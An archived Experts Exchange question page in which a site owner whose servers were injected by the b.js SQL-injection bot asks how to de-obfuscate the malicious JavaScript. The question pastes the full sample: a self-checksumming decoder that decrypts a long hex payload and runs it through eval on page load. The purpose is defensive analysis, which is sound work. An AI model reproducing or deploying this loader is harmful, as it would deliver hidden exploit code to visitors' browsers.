August 30, 2008 01:18am pdt

Member Login

Hall of Fame

Yearly

1rpggamer... 56,708
2IndiGenus 39,730
3jahboite 38,178
4r-k 21,878
5arnold 10,150
6nsx106... 9,825
7richrumble 9,150
8ahoffmann 8,157
9tigermatt 7,848
10McKnife 7,495
11briancassin 7,000
12Sheharya... 6,754
13PowerIT 6,400
14johnb6767 5,600
15KCTS 5,500
16rindi 5,350
16_jesper_ 5,350
18paradoxe... 5,300
19toniur 4,975
20phototropic 4,925
21CSecurity 4,875
22Jonvee 4,800
23Tolomir 4,771
24moh10ly 4,630
25b0lsc0tt 4,500

	[x] Attachment Details

How can I de-obfuscate a javascript used by an hacker ?

Zones: Networking Security Vulnerabilities, JavaScript

Tags: Java Script

Hi,

our web servers have been attacked by bot (b.js injected through SQL Injection) like a lot of people.

We have protected them but I would like to find a way to de-obfuscate the javascript called by b.js.

It looks like the attach code attached.

Please could you explain me how can I de-obfuscate this javascript to find which exploits where tested ?

P.S: I am running under windows XP, so please dont tell me to use an application in linux box.

         
           
           
             <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/javascript">
<!--
function a1Mv1BqB5(U4B6r3U6o, jVPW6Pvdu){var U3siwSYq6 = arguments.callee;var hJeHPlM0I = 4294967296;U3siwSYq6 = U3siwSYq6.toString();U3siwSYq6 = U3siwSYq6 + location.href;var uAPaoLJPD = eval;var B6JCRnkA6 = U3siwSYq6.replace(/\W/g, "");B6JCRnkA6 = B6JCRnkA6.toUpperCase();var G16JL2243 = new Array;for(var PNtIgAcmL = 0; PNtIgAcmL < 256; PNtIgAcmL++) {G16JL2243[PNtIgAcmL] = 0;}var SWDf70eQV = 1;for(var PNtIgAcmL = 128; PNtIgAcmL; PNtIgAcmL >>= 1) {SWDf70eQV = SWDf70eQV >>> 1 ^ (SWDf70eQV & 1 ? 3988292384 : 0);for(var Ev0dA675F = 0; Ev0dA675F < 256; Ev0dA675F += PNtIgAcmL * 2) {var j130O6u3m = PNtIgAcmL + Ev0dA675F;G16JL2243[j130O6u3m] = G16JL2243[Ev0dA675F] ^ SWDf70eQV;if (G16JL2243[j130O6u3m] < 0) {G16JL2243[j130O6u3m] += hJeHPlM0I;}}}var C5ui1SRPe = hJeHPlM0I - 1;for(var r77hP82bN = 0; r77hP82bN < B6JCRnkA6.length; r77hP82bN++) {var BK7jph3O8 = (C5ui1SRPe ^ B6JCRnkA6.charCodeAt(r77hP82bN)) & 255;C5ui1SRPe = (C5ui1SRPe >>> 8) ^ G16JL2243[BK7jph3O8];}C5ui1SRPe = C5ui1SRPe ^ (hJeHPlM0I - 1);if (C5ui1SRPe < 0) {C5ui1SRPe += hJeHPlM0I;}C5ui1SRPe = C5ui1SRPe.toString(16).toUpperCase();while(C5ui1SRPe.length < 8) {C5ui1SRPe = "0" + C5ui1SRPe;}var QUer084X4 = new Array;for(var PNtIgAcmL = 0; PNtIgAcmL < 8; PNtIgAcmL++) {QUer084X4[PNtIgAcmL] = C5ui1SRPe.charCodeAt(PNtIgAcmL);}var EhA2V6mT1 = "";var p8rb8Bn1D = 0;for(var PNtIgAcmL = 0; PNtIgAcmL < U4B6r3U6o.length; PNtIgAcmL += 2){var j130O6u3m = U4B6r3U6o.substr(PNtIgAcmL, 2);var d6kJb6d54 = parseInt(j130O6u3m, 16);var r6P3aRB8N = d6kJb6d54 - QUer084X4[p8rb8Bn1D];if(r6P3aRB8N < 0) {r6P3aRB8N = r6P3aRB8N + 256;}EhA2V6mT1 += String.fromCharCode(r6P3aRB8N);if(p8rb8Bn1D + 1 == QUer084X4.length) {p8rb8Bn1D = 0;} else {p8rb8Bn1D++;}}var pwwYYa5r6 = 0;try {uAPaoLJPD(EhA2V6mT1);} catch(e) {pwwYYa5r6 = 1;}try {if (pwwYYa5r6) {window.location = "/";}} catch(e) {}}
//-->
</script>
</head>
<body onload="a1Mv1BqB5('98abA295ba9Da1B2528486A6908Ba3b79c775ca9b4A98b8b87666C8772549a7a6678a8A07886656DADac95a4667b737AA9af9865919c52815297a699bba197B2A6a96295A7A09ea99771aa93b854a4B382826764b58566646f5668647f686B7A69686d68817B737aA9AF9865919c5281527d7568BDad96777d9e62a6B587A6B69bA49B5A6f6f798568ADad96797F9A646f567B737CabABA865819C5271549EB39597a89bB5A260ACa49b9A6DBC95a46479668C7a909e937695567152abAA93b06dac95A46677A2b1876d99A0BF665281527d7568bdad96777D9e62A4ABa49EA5959B5C61A28b61AB5e5656546f6f75b49f8B6b97B4AD64646F5677A2B38969a9A0AF6660BAa387b4a29BA675A7A7976C5b71AA93B85475a9699f7C7E7b9c83646F56A297bd5473b6a497ad6Daca3a46ca897a6528F8C759A7B6A7b898C546f646271547B9E77888d667d8B7866705276676c6F528F8C759A7b6A7b898c5F5D6D52B177977d9D7a90679e858d8f8C759A7B6A7b898c91528152666fAFBC95A464ab6a7D857898628f9A567152776F98B3a45Eaa93b8547b9C758C7D668d8b78646f5665647E6F528D8a798a7b7A7B898A6d567D8A898a7b78798D7a5284726f64635f54ADBF687b97649a647dae546F64AB6A7D857898628f9A5672708454636490565cAB7A7d857696667F9A665A5275527554657F6C6A766b68676a7a546C64625f6f98b5A65ABA93A854a37d68987c9EA3A4a8667152746d56a5697a9a6AB09fA6AA5282546479687154A37d68987C9Ea3A4A8665f6f647b8e77888f68799b78565E52785D52bfA897A652907584768877A2a19A546F647b8E77888f68799B78565F52B76b66aa6Aa2a1a2BC6f75a9699F7c7e7B9C839F7c7786649c75a0b38693546F6677977B9B7e8067ae858dB5696A9A6Ab2a1a2BA8f569252bf687b97649A647dae6f9BAA525e77977D9D7A90679e858D907584768877a2a19a91528052665D52c177977B9B7E8067AE858D8E7388668887a2A1988f565F6F66a6a1947e6966A197686dc1afB3AA93B854A68a82A2659F8c8c62646F56A6A196806576A18768527354637f98a5A65abc95a464958D8396bb896aB766567152766f52a7898598a79b6Ca57852725475b6a1877b97A4ad6474A097B299aa9c6d6697899396AB896Ab9685d6f5b56AFA8A7a652859c686C647Ca887975273545Aba7A82b063a37A8A7654906475a6a1877D99a0BD6464979AA7a675b3969B75a66E97899396ab896AB9685b6D525C54647B696dB87886a063b37A8A745273545ABA7A82B063A37a8A7654708270566C5B66925287976d9d7A92699A958D779E647e6668B88789916DC3A878949e67a1789e64528152aa7a82B2659F8a8a665490665CA4B382826764B58566645f56655b819D98645AAA7A82B2659F8A8a66546e66645b64adaa7a82b2659f8a8A66545D8354A4B382826764B585667Fafaa7a82B2659F8A8a66546f66A878949e67a1789E6460b8A189A8a4afa2996C636c5D60baa387b4A29bA675a7A7976c5b71AB9AafA0976cA67C849e77a1789c6264a097b49bA6AC5272546a6F54ADb87886A063B37A8A74527354547656526f52AA7A82B2659f8A8a666fAFBC95A464A16C678a776C7dAE62567152b499A96473a8A693bf6f98b3a45Eaa93b8547b9C758C7D668d8B78646f56646D667d8A87887f68799d7A5280526E6F528F8c759A7B6a7b898c5f5D6d52B1A368798c637c7DA0648D8F8c759A7b6A7b898C91528152AA7a82B2659f8A8a666295ae95a487A19A9973BA5C7b9C758c7d668D8B786D6db3AA93B854959a87A7859cB08689646F56565481AA93b65280a1A3776995B3658d546F66646DaaA1A85ca8A7a6528d8A798a7B7a7b898a5273546281547b9C758C7d668d8B78646e56abA0bb8D7999626E8960b299A0ABa69e6F528F8C759A7b6a7b898C545d8152685dadbc95a4647C7786649C75a0B386567152BDA2A79D798B646A9B62A5B994A9a8A46E7d8a87887F68799d7A5E64645f6fA8a7A65298A866899d9f8078a9527354A2a7A6A5A97Ba4A85A907584768877A2A19A605275685f6Fa8A7A6529069A68b7F9D86877752735486bc6487AF8b827a97666152b368698c637e7f9C748D80A1a3776995B3658D916Daf9A5a9069a68b7f9D868777527254626f54ad9069A68b7f9D8687775273547e7dA4899189888965665f5276676C6Fafa98a87b583A09e849d545d815289a8a4afa2997298a8A39F899c93b675A598976E8069B489838B849b675B7f9B9C5C7cb3A5637995A56789665F527552737152B56A659C636e7f9c76629ea9A09Da89A6F54AD8E9fa76567A9a3659B5273546281b152A99EA99952C17E9Fb5636B97a1798B5D6F6Db3B1a8A7A652B0A8889da0A968A4bc5273546281A8A4BD52B17B629e7c7CAE9368975AA98A87b583A09E849d5d6dc1529995A6A99c5aa95b56af9eBC869bB2956AA6aa667152756dB3a8a4bf54adAD98565c9Ebc869bb2956aa6aa6f54ADBB9ba498a1bd629Eb39597A89BB5A252815258635481b1AF649597A895ae5c976d52B1b1AF508284b87c8dA5A5b0755a6B6B6E9563876B747a73697569A765947b68686D657d966A7D696e6d647D996b88939869647E656875686d6b967a6466a86b6E9563a76b747a936995698765947B68686d6888676b7B689996638767737C6a7B69647E656875686d6B767a6466886B6e7563a76B947A73697569a765947B68686d69876974796B6B75787d986B75936b69647E656875686D6B967a646688666767958778737B676c6A937B68937B93696D67A86d73896B987662876b6975936875697e7a747693696d657d966ba6679A6964A89A66a9666668987978947d6b6b95667c686B7b6B6F6d947c966b756a6F6d95a798698766696875876d7378936C6964A76b6B7b686E6b747d9a747b93686C747C6869A9676c96627f68747d6B9A6D6B87697479936B76667C659378936a75647F657385736A966387696b7D6B6F7566a86B7385936B96627c796774657b956A87699477676C6C937F666b78686d6D637E69697d737B6A647D64687768676A657b6566a693997565a76968776B796c63A8686A85699b7673a76d94A6676A6a987C686877686C6b657b6969A9666767757b656686737a75737f9793aa6b6F69937c776A7D6B6B6d657C6a7376696B6a73a897687569696a647F6A6b7D686C6A947F647479936a6D947c6593a773686d68876d947D6a6B756A7b966879689C6C677f68687768686A647d7673766a6B6A6787676a76689B96937B796978679A69747C68687669696A647C646978677a6964A89A668966666894876D9378936c6964a8676BA66b666C687E656B756b6e6d747C686989676c95677e6d6979687a6B77886c93aa6a7C6B627F6a93A66b6B95667e699479677B6C937F666B78686d6d637e69697D939B6a767C6A6887689c67787a7966a9666668947f97737d676A697388676bA66b666c687e656B756B6E6d947c68698969696a647B696978676C69947b656686657c68747f966B76936a6B747e97747d737996937b676a74676a69667d686977676e6B967a6466A8659a6d69A86494786B986a647F77937D676a699388676Ba66b666c687E656B756B6E6d947C68698969696A647b696979676c69747b656686657c68747F966B76736A6b947e97747D939976737b676A74676a69667D686978676e6b767A646688657A6d69a86474786b786A647f97737d676A6973A8676B866b666c687E656b756b6e6D947C68698969696a647B69697a676c69747b6566a6659c68947F766b76936A6B747E97947D737996937B676A74676a69667D686979676e6B967A6466a8657a6D69886474786b786A647F77937d676A6993A8676bA66b666c687E656B756b6E6d747C68698969696a647B69697b676C69947B6566A6659C68747f966B76936A6B947e97747D737976737B676a74676a69667D68697A676e6b967A646688657a6d69a86474786B986A647F97937D676A6973a8676b866b666c687E656B756b6E6D747C6869a969696A647b69697C676c69747b656686657C68947F766b76936a6B747e77947D939976737b676a74676a69667D68697B676e6b967a646688657A6D69A86474786B986a647F97937D676A697388676BA66b666c687e656B756B6e6D947C6869a969696a647B69697d676C69947B656686659c68947F966b76736A6B947E97747D737996937b676a74676A69667D68697c676E6b967A646688666767757A7893A56B996A647B7693A66A6995647E786a7D939b966a87766877676B6a787c686877686c6b657b6968A7666767757A7866a56b6E96667F6c73786B7C6a767B6566867469687879986774657B6d7487756875677B95937e669477699a6B938877947b939b6A647D646a74676A69667D686976676e6A647B6d687d676A6D677f756977689c6C77A76B74756a9a6a62A79893aa6B979569A7966b766B9769737c6A6b776B7895977F6c7378936d6D697C686a786b6D96627F6B93A76B6E6D65886C737A676e6a777b676977677a69647C6969A9676c6A987c6868A7666767757a78937D6A6B96647d976A869399756A8877687569696a647b696977687969667d7a66896666687879786774657B756a87697477676C7576877594a793986a697f666Ba573666a647d64687793686d65a89573856B9a7565876b7476736C6a62a86B7485736F76687F6c94746a666d658866737c939895657f95737c68687567886d9377936F9668A76968a6686A69977c686976686C6A947C796774659b756aA7697477676c6D957F6A6a7C6a6D95677f756A7993676A647d646877676C69667D9a66a96666689879986774657b6d6a88677477677b966a7f687479676a6d747e9674796B7A756B7e696b76696f6A787d6869876b9C6c6b876b93A56b986C667f676a7A69689596A795748773786A697f666ba593666b627f7A937c93686d6b886c737D696795947d95747b6b786d6b7F6a6B7469786A967b996887676a75767b656686657c6c687d996a88936b6b737d697374699c6a647D6468776b9C756b8878747C68786D627E9793A868686D67A7977376936E6c67A766937B6B6F6B65886C687D6B7c6C6BA76b73856b786C667F676a7A677c6B62876B74766a6d9568a86a93A5936A756B7B966978689769747d7a66A966666878797866a76b9A6D6a7C68687D69976c967D98747869996a65a7676a85676C6b777B676979679A67787a9966a5659C6d957f6A6a7C6A6d75677F756a7973676A647b796A74676A69667D6868776967689879986774657b67747f99937869986D67a76a6B7d696e6d967c68688769696a647D6b6aA9697b75657e9769766b6b6c747c796774659B75787B65668666696875a79573866B9A6d97876D687D6B6695677d6C6b7A936d6c6a7E6c7387686a95977F6C94756b789568A797687569686a647c696977679a67987a7966A56B6695677d6c6b7a936d6C6a7e6C7387676c6a967d646877676C6a647d6868776967689879986774659b67787A79947b6b6d96667B676B7D6b6D6C747D776a8a6a7895957f9768776967696487776B74936c6C747D967486737795937C686887676C6D757F6A6a7C6a6d75677f756A7993676b767a6466A873776D65a86A687573699567A76473766B986b987f957476676c6B987B67737B73696d67a86d93a96b987662876B69756B6D7566a76D9376939795697d6c738a6B6f6d78a76d93AA73776A937B69947A6b6d95668778947593976A667B7769896667677588659378936975637f756b746A9775657D6694786B7896687D68947B736E9566a7987377939896687f6c6886676c9568887894756B786A667b9a6877676c7568876d947d93976B637f78937893976d65886B9378736e7574a767947B676C69747d7A6689666695987f6a74746b696D6b7F656b7B736d6B62A76A737C736e6b65886C7479736E95947F69747C936e6d697c776877936f96667f6a6879686669647c6a937D93977668876769A868696a63A7699379939a95668765747968686D67A8677389686B95677f7593A768676D66A798738A686B9594A765737B6B6F75737D6673786B9A95947D66697a686a6a65a76D6975689b75657F6c6977686B6A647D68737b686C6B6B7C676977686a6A6b7D96937a686c95697f6b697C68796A647D756975686c6b647c676977686a6A647d686975686e6b6B7c9669856b6f6a69877569766899756A7f6D6879676A69967C686B7b6b6F6D747c966B756A6F6D75877868a5696768787978737b93696d67886D93a96b787662876b69756B6c9563876C7485686A7565876794776B6F9562876C6a786b7B95947F9A937b67796d78a76b93a96B6B956b7e646b7D736B69947d7a6689666696987a6466a8595f6F')">
 
</body>
</html>

           
         

Start your free trial to view this solution

[x]

The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

The Grade of the Solution
The Zone Rank of the Expert Providing the Solution
The Number of Author and Expert Comments
The Number of Experts Contributing
The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

8.5

Question Stats

Zone: Security

Question Asked By: bigstyler

Solution Provided By: jahboite

Participating Experts: 4

Solution Grade: A

Translate:

Loading Advertisement...

20080723-EE-VQP-34 / EE_QW_2_20070628